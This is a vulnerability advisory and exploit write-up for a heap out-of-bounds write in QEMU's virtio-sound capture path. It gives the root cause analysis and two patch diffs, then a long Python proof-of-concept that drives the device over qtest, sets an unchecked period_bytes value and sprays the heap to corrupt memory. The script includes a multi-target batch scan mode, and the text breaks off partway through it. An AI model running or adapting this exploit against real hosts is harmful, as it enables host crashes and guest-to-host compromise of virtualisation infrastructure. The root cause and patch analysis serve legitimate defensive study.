#Summary
CVE-2026-3195 is a heap out-of-bounds write in QEMU's virtio-sound device model, affecting versions 8.2.0 through 10.2.1 and fixed in 10.2.2. The vulnerability exists in the RX (capture) path of hw/audio/virtio-snd.c, where two functions disagree on the size of a heap buffer. A malicious guest can trigger up to 65 KB of controlled heap corruption, reaching allocator metadata and causing host process termination. This is an incomplete-fix follow-up to CVE-2024-7730.
- CVSS Score: 7.4 HIGH
- Attack Vector: Local (guest to host)
- Impact: Memory corruption, arbitrary code execution in QEMU process
- Requires: Guest kernel-level access to the virtio-sound device
#Affected Versions
- QEMU 8.2.0 through 10.2.1 - vulnerable
- QEMU 10.2.2 and later - patched
#Root Cause Analysis
#The Double Mismatch
The bug lives in hw/audio/virtio-snd.c, split between two functions that handle the audio capture path. virtio_snd_handle_rx_xfer() allocates the host-side buffer from the guest-supplied device-writable part, subtracting the 8-byte status trailer:
size = iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status);
buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);VirtIOSoundPCMBuffer is 48 bytes on 64-bit systems. So if the guest supplies an RX chain with an 8-byte device-writable area, the allocation is g_malloc0(48 + 0) - a 48-byte chunk with zero data capacity.
The input callback virtio_snd_pcm_in_cb() then recomputes the buffer bound as the raw iov_size with no subtraction, and derives the read length from an unvalidated guest parameter:
max_size = iov_size(buffer->elem->in_sg, buffer->elem->in_num);
for (;;) {
if (buffer->size >= max_size) { ... }
size = AUD_read(stream->voice.in,
buffer->data + buffer->size,
MIN(available, (stream->params.period_bytes - buffer->size)));Defect 1 - loop guard too generous: max_size is computed as the raw iov_size without subtracting the status trailer. The allocation subtracted it, but the guard does not. On the 8-byte chain, max_size becomes 8 rather than 0, so the guard 0 >= 8 is false and the loop proceeds.
Defect 2 - read length unclamped: The third argument to AUD_read() is MIN(available, stream->params.period_bytes - buffer->size). The stream->params.period_bytes is guest input stored verbatim by virtio_snd_set_pcm_params(), with no bounds check. So a guest can request period_bytes = 0x10000 (64 KB), and QEMU will happily write it past the end of the 48-byte allocation.
#Why This is an Incomplete Fix for CVE-2024-7730
Commit 98e77e3d (QEMU 8.2.0 through 9.0.x) introduced max_size and a guard to fix the unbounded write in CVE-2024-7730. But it got the boundary wrong by 8 bytes and never clamped the read length itself.
The incomplete fix named the exact trigger in its own commit message:
This triggers an out of bounds write if the size of the virtio queue element is equal to virtio_snd_pcm_status, which makes the available space for audio data zero.
That degenerate case (8-byte device-writable area) survives both defects. With the 8-byte chain, max_size becomes 8 rather than 0, so the very first AUD_read() writes past the allocation.
#Patch Diff
#Commit bcb53328aa70023f1405fade4e253e7f77567261 - Fix Defect 1
@@ -1265,6 +1265,12 @@ static void virtio_snd_pcm_in_cb(void *data, int available)
}
max_size = iov_size(buffer->elem->in_sg, buffer->elem->in_num);
+ if (max_size <= sizeof(virtio_snd_pcm_status)) {
+ return_rx_buffer(stream, buffer);
+ continue;
+ }
+ max_size -= sizeof(virtio_snd_pcm_status);
+
for (;;) {
if (buffer->size >= max_size) {
return_rx_buffer(stream, buffer);Now max_size is the true data capacity. The early-out also closes the degenerate case outright - a chain whose device-writable area cannot hold more than the status trailer is returned without any read.
#Commit 7994203bb1b83a6604f3ab00fe9598909bb66164 - Fix Defect 2
@@ -1250,7 +1250,7 @@ static void virtio_snd_pcm_in_cb(void *data, int available)
{
VirtIOSoundPCMStream *stream = data;
VirtIOSoundPCMBuffer *buffer;
- size_t size, max_size;
+ size_t size, max_size, to_read;
@@ -1276,10 +1276,12 @@ static void virtio_snd_pcm_in_cb(void *data, int available)
return_rx_buffer(stream, buffer);
break;
}
+ to_read = stream->params.period_bytes - buffer->size;
+ to_read = MIN(to_read, available);
+ to_read = MIN(to_read, max_size - buffer->size);
size = AUD_read(stream->voice.in,
- buffer->data + buffer->size,
- MIN(available, (stream->params.period_bytes -
- buffer->size)));
+ buffer->data + buffer->size,
+ to_read);The read length is now clamped by the remaining allocation capacity in addition to the period and backend availability. Both commits are required for a complete fix - applied alone, either one leaves the vulnerability open.
#Proof of Concept
#exploit.py - QEMU Virtio-Sound Heap OOB PoC
#!/usr/bin/env python3
"""
CVE-2026-3195 - QEMU virtio-snd RX path heap out-of-bounds write (guest to host)
Affected: QEMU 8.2.0 through 10.2.1 (virtio-sound device model). Fixed in 10.2.2.
Type: Memory corruption (CWE-122 heap buffer overflow), guest-to-host escape class
The bug lives in virtio_snd_pcm_in_cb() in hw/audio/virtio-snd.c. The RX transfer
handler sizes the host buffer as iov_size(in_sg) - sizeof(virtio_snd_pcm_status),
but the input callback recomputes its loop bound as the raw iov_size(in_sg) and
hands AUD_read() a length derived only from the guest-chosen period_bytes. Neither
value is clamped to what was actually allocated, so a guest that queues an RX chain
whose device-writable part is exactly 8 bytes gets a 48-byte heap chunk with zero
data capacity and then has up to period_bytes of captured audio written past it.
Attacker model: code inside the guest that can program the virtio-sound PCI device
directly (raw virtqueue access, i.e. guest kernel level). The stock virtio_snd
driver never produces the required descriptor layout, so this tool drives the
device out of band over QEMU's own qtest transport, which gives the same
guest-physical memory and MMIO access a malicious guest driver would have. Point
it at the qtest endpoint of the QEMU instance under test.
Usage:
python exploit.py --host <target> --port <qtest-port>
python exploit.py --host 192.168.1.10 --port 4441
python exploit.py --host 192.168.1.10 --port 4441 --period-bytes 0x4000
python exploit.py --host 192.168.1.10 --port 4441 --format s8 # 0x00 fill
python exploit.py --list targets.txt --workers 20
"""
import argparse
import socket
import struct
import sys
import time
from urllib.parse import urlparse
CVE_ID = "CVE-2026-3195"
VULN_TYPE = "Heap OOB write (guest-to-host)"
DEFAULT_PORT = 4441
# --------------------------------------------------------------------------- #
# Output helpers
# --------------------------------------------------------------------------- #
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# virtio / virtio-snd protocol constants
# --------------------------------------------------------------------------- #
VIRTIO_VENDOR_ID = 0x1AF4
VIRTIO_SND_DEVICE_ID = 0x1059 # 0x1040 + VIRTIO_ID_SOUND(25)
PCI_CAP_ID_VNDR = 0x09
VIRTIO_PCI_CAP_COMMON_CFG = 1
VIRTIO_PCI_CAP_NOTIFY_CFG = 2
VIRTIO_PCI_CAP_ISR_CFG = 3
VIRTIO_PCI_CAP_DEVICE_CFG = 4
# virtio_pci_common_cfg field offsets
CC_DEVICE_FEATURE_SELECT = 0x00
CC_DEVICE_FEATURE = 0x04
CC_DRIVER_FEATURE_SELECT = 0x08
CC_DRIVER_FEATURE = 0x0C
CC_NUM_QUEUES = 0x12
CC_DEVICE_STATUS = 0x14
CC_QUEUE_SELECT = 0x16
CC_QUEUE_SIZE = 0x18
CC_QUEUE_MSIX_VECTOR = 0x1A
CC_QUEUE_ENABLE = 0x1C
CC_QUEUE_NOTIFY_OFF = 0x1E
CC_QUEUE_DESC = 0x20
CC_QUEUE_DRIVER = 0x28
CC_QUEUE_DEVICE = 0x30
STATUS_ACKNOWLEDGE = 1
STATUS_DRIVER = 2
STATUS_DRIVER_OK = 4
STATUS_FEATURES_OK = 8
VRING_DESC_F_NEXT = 1
VRING_DESC_F_WRITE = 2
# virtio-snd virtqueue indices
VQ_CONTROL = 0
VQ_EVENT = 1
VQ_TX = 2
VQ_RX = 3
# virtio-snd control request codes
R_PCM_SET_PARAMS = 0x0101
R_PCM_PREPARE = 0x0102
R_PCM_RELEASE = 0x0103
R_PCM_START = 0x0104
R_PCM_STOP = 0x0105
S_OK = 0x8000
S_BAD_MSG = 0x8001
S_NOT_SUPP = 0x8002
S_IO_ERR = 0x8003
# VIRTIO_SND_PCM_FMT_* values that the device advertises as supported.
# The fill byte written by the "none" audio backend depends on signedness:
# signed and float formats clear to 0x00, unsigned 8-bit clears to 0x80.
FORMATS = {
"s8": (3, 1, 0x00),
"u8": (4, 1, 0x80),
"s16": (5, 2, 0x00),
"u16": (6, 2, 0x80),
"s32": (17, 4, 0x00),
"u32": (18, 4, 0x80),
"float": (19, 4, 0x00),
}
# VIRTIO_SND_PCM_RATE_* values and their frame rate in Hz
RATES = {
5512: 0, 8000: 1, 11025: 2, 16000: 3, 22050: 4, 32000: 5,
44100: 6, 48000: 7, 64000: 8, 88200: 9, 96000: 10,
176400: 11, 192000: 12,
}
# VirtIOSoundPCMBuffer on LP64: entry(8) elem(8) vq(8) size(8) offset(8) = 40,
# then bool populated at 40. sizeof() rounds up to 48, and that is what
# virtio_snd_handle_rx_xfer() adds the requested capacity to. The flexible
# data[] array is uint8_t, so it needs no alignment padding and begins at
# offset 41, immediately after populated, not at 48.
#
# That 7-byte difference matters: captured audio starts landing at offset 41,
# so a chain with capacity c has 7 + c bytes of room inside the allocation and
# everything past that is out of bounds. Verified against the running build.
SIZEOF_PCM_BUFFER = 48
PCM_BUFFER_DATA_OFFSET = 41
SIZEOF_PCM_STATUS = 8
NS_PER_SEC = 1000 * 1000 * 1000
# Guest-physical scratch layout. No firmware runs under the qtest accelerator,
# so guest RAM above the first megabyte is entirely ours.
GPA_BASE = 0x0800_0000
MMIO_BASE = 0xE000_0000
class ExploitError(Exception):
"""Any condition that stops the run before a verdict can be reached."""
# --------------------------------------------------------------------------- #
# qtest transport
# --------------------------------------------------------------------------- #
class QTest(object):
"""Line-oriented client for QEMU's qtest protocol.
Every command gets exactly one reply line back, except that the server may
interleave asynchronous "IRQ raise"/"IRQ lower" notifications at any point.
Those are filtered out here so callers only ever see command replies.
"""
def __init__(self, host, port, use_tls=False, timeout=10.0):
self.timeout = timeout
self.sock = socket.create_connection((host, port), timeout)
if use_tls:
import ssl
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
self.sock = ctx.wrap_socket(self.sock)
self.sock.settimeout(timeout)
self.buf = b""
self.dead = False
def close(self):
try:
self.sock.close()
except OSError:
pass
def _readline(self):
while b"\n" not in self.buf:
try:
chunk = self.sock.recv(4096)
except (socket.timeout, TimeoutError):
raise ExploitError("qtest timed out waiting for a reply")
except (ConnectionResetError, BrokenPipeError, OSError) as exc:
self.dead = True
raise ExploitError("qtest connection dropped (%s)"
% exc.__class__.__name__)
if not chunk:
self.dead = True
raise ExploitError("qtest connection closed by peer")
self.buf += chunk
line, self.buf = self.buf.split(b"\n", 1)
return line.decode("utf-8", "replace").strip()
def cmd(self, line):
"""Send one command, return its reply. Raises on FAIL/ERR."""
try:
self.sock.sendall(line.encode() + b"\n")
except (ConnectionResetError, BrokenPipeError, OSError) as exc:
self.dead = True
raise ExploitError("qtest write failed (%s)"
% exc.__class__.__name__)
while True:
reply = self._readline()
if reply.startswith("IRQ "):
continue
if reply.startswith("FAIL") or reply.startswith("ERR"):
raise ExploitError("qtest rejected %r: %s" % (line, reply))
if not reply.startswith("OK"):
raise ExploitError("unexpected qtest reply to %r: %s"
% (line, reply))
return reply
def _value(self, line):
reply = self.cmd(line)
parts = reply.split(None, 1)
if len(parts) < 2:
raise ExploitError("qtest reply carried no value: %s" % reply)
return int(parts[1], 16)
# -- port I/O ----------------------------------------------------------- #
def outl(self, addr, val):
self.cmd("outl 0x%x 0x%x" % (addr, val & 0xFFFFFFFF))
def inl(self, addr):
return self._value("inl 0x%x" % addr)
# -- MMIO --------------------------------------------------------------- #
def writeb(self, addr, val):
self.cmd("writeb 0x%x 0x%x" % (addr, val & 0xFF))
def writew(self, addr, val):
self.cmd("writew 0x%x 0x%x" % (addr, val & 0xFFFF))
def writel(self, addr, val):
self.cmd("writel 0x%x 0x%x" % (addr, val & 0xFFFFFFFF))
def writeq(self, addr, val):
self.cmd("writeq 0x%x 0x%x" % (addr, val & 0xFFFFFFFFFFFFFFFF))
def readb(self, addr):
return self._value("readb 0x%x" % addr) & 0xFF
def readw(self, addr):
return self._value("readw 0x%x" % addr) & 0xFFFF
def readl(self, addr):
return self._value("readl 0x%x" % addr) & 0xFFFFFFFF
# -- guest physical memory ---------------------------------------------- #
def memwrite(self, addr, data):
self.cmd("write 0x%x 0x%x 0x%s" % (addr, len(data), data.hex()))
def memread(self, addr, size):
reply = self.cmd("read 0x%x 0x%x" % (addr, size))
hexpart = reply.split(None, 1)[1]
if hexpart.startswith("0x"):
hexpart = hexpart[2:]
return bytes.fromhex(hexpart.replace(" ", ""))
def memset(self, addr, size, value=0):
self.cmd("memset 0x%x 0x%x 0x%x" % (addr, size, value & 0xFF))
# -- virtual clock ------------------------------------------------------ #
def clock_step(self, ns):
return self._value("clock_step %d" % ns)
def alive(self):
"""Round-trip a harmless command to see whether QEMU is still up."""
if self.dead:
return False
try:
self.cmd("read 0x1000 0x1")
return True
except ExploitError:
return False
# --------------------------------------------------------------------------- #
# PCI enumeration
# --------------------------------------------------------------------------- #
def pci_addr(slot, off, bus=0, fn=0):
return 0x80000000 | (bus << 16) | (slot << 11) | (fn << 8) | (off & 0xFC)
def pci_read32(qt, slot, off):
qt.outl(0xCF8, pci_addr(slot, off))
return qt.inl(0xCFC)
def pci_write32(qt, slot, off, val):
qt.outl(0xCF8, pci_addr(slot, off))
qt.outl(0xCFC, val)
def pci_read8(qt, slot, off):
return (pci_read32(qt, slot, off & ~3) >> ((off & 3) * 8)) & 0xFF
def pci_read16(qt, slot, off):
return (pci_read32(qt, slot, off & ~3) >> ((off & 3) * 8)) & 0xFFFF
def pci_find(qt, vendor, device):
"""Scan bus 0 for a device, returning its slot number."""
for slot in range(32):
ident = pci_read32(qt, slot, 0x00)
if ident in (0xFFFFFFFF, 0x00000000):
continue
if (ident & 0xFFFF) == vendor and ((ident >> 16) & 0xFFFF) == device:
return slot
return None
def read_virtio_caps(qt, slot):
"""Walk the PCI capability list and collect the virtio vendor caps."""
caps = {}
ptr = pci_read8(qt, slot, 0x34)
seen = 0
while ptr and seen < 48:
seen += 1
cap_id = pci_read8(qt, slot, ptr)
nxt = pci_read8(qt, slot, ptr + 1)
if cap_id == PCI_CAP_ID_VNDR:
cfg_type = pci_read8(qt, slot, ptr + 3)
entry = {
"bar": pci_read8(qt, slot, ptr + 4),
"offset": pci_read32(qt, slot, ptr + 8),
"length": pci_read32(qt, slot, ptr + 12),
}
if cfg_type == VIRTIO_PCI_CAP_NOTIFY_CFG:
entry["notify_off_multiplier"] = pci_read32(qt, slot, ptr + 16)
caps.setdefault(cfg_type, entry)
ptr = nxt & 0xFC
return caps
def program_bar(qt, slot, bar_idx, base):
"""Size a 64-bit memory BAR, assign it, and return the assigned address."""
off = 0x10 + bar_idx * 4
orig = pci_read32(qt, slot, off)
is_64 = ((orig >> 1) & 0x3) == 0x2
pci_write32(qt, slot, off, 0xFFFFFFFF)
lo = pci_read32(qt, slot, off)
if is_64:
pci_write32(qt, slot, off + 4, 0xFFFFFFFF)
hi = pci_read32(qt, slot, off + 4)
else:
hi = 0xFFFFFFFF
mask = ((hi << 32) | (lo & ~0xF)) & 0xFFFFFFFFFFFFFFFF
if mask == 0:
raise ExploitError("BAR %d is not implemented" % bar_idx)
size = (~mask + 1) & 0xFFFFFFFFFFFFFFFF
addr = (base + size - 1) & ~(size - 1)
pci_write32(qt, slot, off, addr & 0xFFFFFFFF)
if is_64:
pci_write32(qt, slot, off + 4, (addr >> 32) & 0xFFFFFFFF)
return addr, size
# --------------------------------------------------------------------------- #
# Split virtqueue driver
# --------------------------------------------------------------------------- #
class VirtQueueDriver(object):
"""Minimal split-ring driver living in guest-physical scratch memory."""
def __init__(self, qt, index, qsize, gpa):
self.qt = qt
self.index = index
self.qsize = qsize
self.desc = gpa
self.avail = gpa + 0x0800
self.used = gpa + 0x0C00
self.data = gpa + 0x1000
self.data_next = self.data
self.desc_next = 0
self.avail_idx = 0
self.notify_addr = None
def reset_scratch(self):
self.data_next = self.data
self.desc_next = 0
def alloc(self, size, align=16):
addr = (self.data_next + align - 1) & ~(align - 1)
self.data_next = addr + size
return addr
def add_chain(self, entries):
"""entries: list of (gpa, length, device_writable). Returns head index."""
head = self.desc_next
for i, (addr, length, writable) in enumerate(entries):
idx = (head + i) % self.qsize
last = (i == len(entries) - 1)
flags = 0
if not last:
flags |= VRING_DESC_F_NEXT
if writable:
flags |= VRING_DESC_F_WRITE
nxt = 0 if last else (head + i + 1) % self.qsize
self.qt.memwrite(self.desc + idx * 16,
struct.pack("<QIHH", addr, length, flags, nxt))
self.desc_next = (head + len(entries)) % self.qsize
# avail.ring[avail_idx % qsize] = head, then publish the new index
self.qt.memwrite(self.avail + 4 + (self.avail_idx % self.qsize) * 2,
struct.pack("<H", head))
self.avail_idx += 1
self.qt.memwrite(self.avail + 2, struct.pack("<H", self.avail_idx))
return head
def kick(self):
self.qt.writew(self.notify_addr, self.index)
def used_idx(self):
return struct.unpack("<H", self.qt.memread(self.used + 2, 2))[0]
# --------------------------------------------------------------------------- #
# virtio-snd device bring-up
# --------------------------------------------------------------------------- #
class VirtioSnd(object):
def __init__(self, qt, log=None):
self.qt = qt
self.log = log or (lambda msg: None)
self.slot = None
self.caps = None
self.common = None
self.notify_base = None
self.notify_mult = 0
self.queues = {}
def bringup(self):
qt = self.qt
slot = pci_find(qt, VIRTIO_VENDOR_ID, VIRTIO_SND_DEVICE_ID)
if slot is None:
raise ExploitError("no virtio-sound PCI device (1af4:1059) on bus 0")
self.slot = slot
self.log("virtio-sound found at 00:%02x.0" % slot)
self.caps = read_virtio_caps(qt, slot)
for want, name in ((VIRTIO_PCI_CAP_COMMON_CFG, "common"),
(VIRTIO_PCI_CAP_NOTIFY_CFG, "notify")):
if want not in self.caps:
raise ExploitError("device is missing the virtio %s capability"
% name)
# Every virtio cap on this device points at the same modern BAR.
bar_idx = self.caps[VIRTIO_PCI_CAP_COMMON_CFG]["bar"]
bar_addr, bar_size = program_bar(qt, slot, bar_idx, MMIO_BASE)
self.log("BAR%d programmed at 0x%x (size 0x%x)"
% (bar_idx, bar_addr, bar_size))
# Memory space enable + bus master. Without bus master the device
# cannot DMA and the RX chain is never popped.
cmd = pci_read16(qt, slot, 0x04)
pci_write32(qt, slot, 0x04,
(pci_read32(qt, slot, 0x04) & 0xFFFF0000) | cmd | 0x6)
self.common = bar_addr + self.caps[VIRTIO_PCI_CAP_COMMON_CFG]["offset"]
notify_cap = self.caps[VIRTIO_PCI_CAP_NOTIFY_CFG]
self.notify_base = bar_addr + notify_cap["offset"]
self.notify_mult = notify_cap.get("notify_off_multiplier", 0)
num_queues = qt.readw(self.common + CC_NUM_QUEUES)
if num_queues < 4:
raise ExploitError("common cfg unreadable (num_queues=%d); the BAR "
"address is probably outside the PCI hole"
% num_queues)
self.log("common cfg live, num_queues=%d" % num_queues)
# Reset, then ACKNOWLEDGE | DRIVER.
qt.writeb(self.common + CC_DEVICE_STATUS, 0)
while qt.readb(self.common + CC_DEVICE_STATUS) != 0:
pass
qt.writeb(self.common + CC_DEVICE_STATUS,
STATUS_ACKNOWLEDGE | STATUS_DRIVER)
# The device offers VIRTIO_F_VERSION_1 (bit 32) and nothing else.
qt.writel(self.common + CC_DEVICE_FEATURE_SELECT, 1)
feat_hi = qt.readl(self.common + CC_DEVICE_FEATURE)
qt.writel(self.common + CC_DRIVER_FEATURE_SELECT, 0)
qt.writel(self.common + CC_DRIVER_FEATURE, 0)
qt.writel(self.common + CC_DRIVER_FEATURE_SELECT, 1)
qt.writel(self.common + CC_DRIVER_FEATURE, feat_hi)
qt.writeb(self.common + CC_DEVICE_STATUS,
STATUS_ACKNOWLEDGE | STATUS_DRIVER | STATUS_FEATURES_OK)
status = qt.readb(self.common + CC_DEVICE_STATUS)
if not status & STATUS_FEATURES_OK:
raise ExploitError("FEATURES_OK did not stick (status=0x%02x)"
% status)
for q in (VQ_CONTROL, VQ_EVENT, VQ_TX, VQ_RX):
self._setup_queue(q)
qt.writeb(self.common + CC_DEVICE_STATUS,
STATUS_ACKNOWLEDGE | STATUS_DRIVER | STATUS_FEATURES_OK
| STATUS_DRIVER_OK)
self.log("device ready (DRIVER_OK)")
def _setup_queue(self, index):
qt = self.qt
qt.writew(self.common + CC_QUEUE_SELECT, index)
qsize = qt.readw(self.common + CC_QUEUE_SIZE)
if qsize == 0:
raise ExploitError("queue %d is unavailable" % index)
gpa = GPA_BASE + index * 0x10000
qt.memset(gpa, 0x10000, 0)
vq = VirtQueueDriver(qt, index, qsize, gpa)
qt.writeq(self.common + CC_QUEUE_DESC, vq.desc)
qt.writeq(self.common + CC_QUEUE_DRIVER, vq.avail)
qt.writeq(self.common + CC_QUEUE_DEVICE, vq.used)
qt.writew(self.common + CC_QUEUE_MSIX_VECTOR, 0xFFFF)
notify_off = qt.readw(self.common + CC_QUEUE_NOTIFY_OFF)
vq.notify_addr = self.notify_base + notify_off * self.notify_mult
qt.writew(self.common + CC_QUEUE_ENABLE, 1)
self.queues[index] = vq
# -- control queue ------------------------------------------------------ #
def control(self, payload, resp_len=8):
"""Send one control request, return the response bytes.
The control queue is drained synchronously in the notify handler, so
the response is readable as soon as the kick returns.
"""
vq = self.queues[VQ_CONTROL]
vq.reset_scratch()
req_gpa = vq.alloc(max(len(payload), 4))
resp_gpa = vq.alloc(resp_len)
self.qt.memwrite(req_gpa, payload)
self.qt.memset(resp_gpa, resp_len, 0)
vq.add_chain([(req_gpa, len(payload), False),
(resp_gpa, resp_len, True)])
vq.kick()
return self.qt.memread(resp_gpa, resp_len)
def control_checked(self, name, payload):
resp = self.control(payload)
code = struct.unpack("<I", resp[:4])[0]
if code != S_OK:
raise ExploitError("%s rejected by the device (status 0x%04x)"
% (name, code))
return code
def set_params(self, stream_id, buffer_bytes, period_bytes,
channels, fmt, rate):
payload = struct.pack("<IIIIIBBBB",
R_PCM_SET_PARAMS, stream_id,
buffer_bytes, period_bytes, 0,
channels, fmt, rate, 0)
self.control_checked("SET_PARAMS", payload)
def pcm_op(self, name, code, stream_id):
self.control_checked(name, struct.pack("<II", code, stream_id))
def queue_rx_chain(self, iov_size, stream_id=1):
"""Queue one RX chain and return the gpa of its device-writable part.
out_sg carries exactly sizeof(virtio_snd_pcm_xfer) = 4 bytes, which is
what iov_to_buf() must return or the chain is dropped into the invalid
queue. in_sg is sized by the caller: at iov_size == 8 the host-side
allocation gets zero data capacity while the callback's bound is 8.
"""
vq = self.queues[VQ_RX]
hdr_gpa = vq.alloc(4)
in_gpa = vq.alloc(max(iov_size, 1))
self.qt.memwrite(hdr_gpa, struct.pack("<I", stream_id))
self.qt.memset(in_gpa, max(iov_size, 1), 0)
vq.add_chain([(hdr_gpa, 4, False), (in_gpa, iov_size, True)])
vq.kick()
return in_gpa
# --------------------------------------------------------------------------- #
# Core trigger
# --------------------------------------------------------------------------- #
def _accumulate_ns(nbytes, bytes_per_second):
"""Virtual nanoseconds the backend needs to owe at least nbytes of audio.
The "none" backend gates every AUD_read through audio_rate_peek_bytes(),
which converts elapsed QEMU_CLOCK_VIRTUAL time into an owed byte count at
the stream's sample rate. Stepping the clock is therefore the throttle that
decides how many bytes the single overflowing read actually writes.
"""
ns = (nbytes * NS_PER_SEC) // bytes_per_second
return int(ns * 2) + 20 * 1000 * 1000
def run_trigger(qt, period_bytes, iov_size, fmt_name, rate_hz, log,
stream_id=1, channels=1, spray=1):
"""Drive the device to the overflowing AUD_read.
Returns a dict describing what the client observed. Never raises for a
plain "target survived" outcome, only for setup failures.
"""
fmt_val, bytes_per_frame, fill = FORMATS[fmt_name]
rate_val = RATES[rate_hz]
bytes_per_second = rate_hz * bytes_per_frame * channels
snd = VirtioSnd(qt, log)
snd.bringup()
# period_bytes is stored verbatim by virtio_snd_set_pcm_params(); only
# channels, format and rate are validated. It becomes the read length.
snd.set_params(stream_id, max(period_bytes, 0x1000), period_bytes,
channels, fmt_val, rate_val)
log("SET_PARAMS accepted: period_bytes=0x%x, %s, %d Hz, %d ch"
% (period_bytes, fmt_name, rate_hz, channels))
snd.pcm_op("PREPARE", R_PCM_PREPARE, stream_id)
snd.pcm_op("START", R_PCM_START, stream_id)
log("input stream %d prepared and started" % stream_id)
# Let the backend build up an owed byte count while the RX queue is still
# empty. virtio_snd_pcm_in_cb() returns immediately on an empty queue and
# consumes nothing, so the whole debt is available to the first real read.
accum = _accumulate_ns(period_bytes, bytes_per_second)
qt.clock_step(accum)
log("accumulated %d ms of virtual capture time" % (accum // 1000000))
# The malicious chain. in_sg of exactly 8 bytes makes the allocation
# g_malloc0(48 + 0) while the callback computes max_size = 8.
#
# Queueing several identical chains first drains the glibc bins for the
# two size classes this device allocates from (the buffer and the
# VirtQueueElement that precedes it), after which the allocations come off
# fresh heap sequentially and each buffer is immediately followed by the
# next chain's element. The RX ring holds 64 elements, so that is the cap.
spray = max(1, min(spray, 60))
in_gpa = snd.queue_rx_chain(iov_size, stream_id)
for _ in range(spray - 1):
snd.queue_rx_chain(iov_size, stream_id)
alloc_size = SIZEOF_PCM_BUFFER + max(iov_size - SIZEOF_PCM_STATUS, 0)
capacity = max(iov_size - SIZEOF_PCM_STATUS, 0)
log("%d RX chain(s) queued: in_sg=%d bytes -> g_malloc0(%d), capacity %d"
% (spray, iov_size, alloc_size, capacity))
used_before = snd.queues[VQ_RX].used_idx()
# Fire the audio timer. This is where virtio_snd_pcm_in_cb() runs and the
# unclamped AUD_read() writes past the end of the allocation.
inbounds = alloc_size - PCM_BUFFER_DATA_OFFSET
result = {
"expected_oob": max(period_bytes - inbounds, 0),
"alloc_size": alloc_size,
"capacity": capacity,
"inbounds": inbounds,
"fill": fill,
"snd": snd,
"in_gpa": in_gpa,
"used_before": used_before,
}
try:
qt.clock_step(20 * 1000 * 1000)
except ExploitError as exc:
result["died"] = True
result["detail"] = str(exc)
return result
result["died"] = False
# Still alive. Force further allocator traffic so a corrupted heap has a
# chance to abort, which is the plain-build (non-sanitizer) signature.
try:
for _ in range(8):
snd.queue_rx_chain(64, stream_id)
qt.clock_step(20 * 1000 * 1000)
except ExploitError as exc:
result["died"] = True
result["detail"] = "died while re-exercising the allocator: %s" % exc
return result
if not qt.alive():
result["died"] = True
result["detail"] = "qtest stopped answering after allocator traffic"
return result
result["used_after"] = snd.queues[VQ_RX].used_idx()
try:
result["status_bytes"] = qt.memread(in_gpa, min(iov_size, 8))
except ExploitError:
result["status_bytes"] = b""
return result
def classify(res, iov_size):
"""Turn the observations into a verdict.
Three distinguishable outcomes, all read from the client side:
"dead" the QEMU process terminated inside the capture callback.
"overflow" the process survived, but the device-writable area came back
holding the capture fill byte instead of a virtio_snd_pcm_status.
return_rx_buffer() copies buffer->size bytes of captured audio
back to the guest and only then writes the 8-byte status at
offset buffer->size. Seeing fill bytes where the status belongs
means buffer->size grew past the space the chain actually had,
which is precisely the out-of-bounds write.
"patched" the chain came back with VIRTIO_SND_S_OK and no audio, which is
the fixed build's early-out for a chain that cannot hold more
than the status trailer.
"""
if res["died"]:
return "dead", res.get("detail", "")
status = res.get("status_bytes", b"")
if len(status) >= 4:
code = struct.unpack("<I", status[:4])[0]
if code == S_OK:
return "patched", "chain returned with VIRTIO_SND_S_OK"
fill = res["fill"]
if status[:4] == bytes([fill]) * 4:
return "overflow", ("status trailer overwritten with 0x%02x fill "
"bytes" % fill)
return "unknown", "unexpected status word 0x%08x" % code
return "unknown", "no status bytes readable"
# --------------------------------------------------------------------------- #
# Scan mode
# --------------------------------------------------------------------------- #
def _try_exploit(host, port, use_tls, period_bytes=0x1000, iov_size=8,
fmt_name="u8", rate_hz=48000):
"""Silent probe for --list scan mode. Returns (success, evidence)."""
qt = None
try:
qt = QTest(host, port, use_tls, timeout=15.0)
except ExploitError as exc:
return False, str(exc)
except OSError as exc:
return False, "unreachable (%s)" % exc.__class__.__name__
try:
res = run_trigger(qt, period_bytes, iov_size, fmt_name, rate_hz,
lambda m: None)
except ExploitError as exc:
return False, str(exc)
except OSError as exc:
return False, "transport error (%s)" % exc.__class__.__name__
finally:
try:
qt.close()
except Exception:
pass
verdict, detail = classify(res, iov_size)
if verdict == "dead":
return True, ("host QEMU process died on the overflowing read (%d "
"bytes past a %d-byte chunk)"
% (res["expected_oob"], res["alloc_size"]))
if verdict == "overflow":
return True, ("%d bytes written past a %d-byte chunk; %s"
% (res["expected_oob"], res["alloc_size"], detail))
if verdict == "patched":
return False, "max_size clamp present (patched): %s" % detail
return False, detail
def _parse_target(line, default_port, default_path="/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers=10, period_bytes=0x1000,
iov_size=8, fmt_name="u8", rate_hz=48000):
"""Batch scan from file."""
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, _path = t
label = "%s:%d" % (host, port)
ok, evidence = _try_exploit(host, port, use_tls, period_bytes,
iov_size, fmt_name, rate_hz)
return label, ok, evidence
